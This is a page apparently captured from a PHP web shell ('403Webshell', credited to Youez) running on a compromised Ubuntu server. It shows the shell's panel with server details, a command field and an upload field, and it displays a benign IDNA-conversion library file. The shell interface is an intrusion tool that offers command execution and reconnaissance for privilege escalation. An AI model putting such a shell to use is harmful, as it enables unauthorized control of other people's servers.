403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/reap/libraries/vendor/algo26-matthias/idna-convert/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/reap/libraries/vendor/algo26-matthias/idna-convert/src//AbstractIdnaConvert.php
<?php

namespace Algo26\IdnaConvert;

use InvalidArgumentException;

abstract class AbstractIdnaConvert
{
    abstract public function convert(string $host): string;

    /**
     * @param string $emailAddress
     *
     * @return string
     */
    public function convertEmailAddress(string $emailAddress): string
    {
        if (strpos($emailAddress, '@') === false) {
            throw new InvalidArgumentException('The given string does not look like an email address', 206);
        }

        $parts = explode('@', $emailAddress);

        return sprintf(
            '%s@%s',
            $parts[0],
            $this->convert($parts[1])
        );
    }

    /**
     * @param string $url
     *
     * @return string
     */
    public function convertUrl(string $url): string
    {
        $parsed = parse_url($url);
        if ($parsed === false) {
            throw new InvalidArgumentException('The given string does not look like a URL', 206);
        }

        // Nothing to do
        if (!isset($parsed['host']) || $parsed['host'] === null) {
            return $url;
        }
        $parsed['host'] = $this->convert($parsed['host']);

        return http_build_url($parsed);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit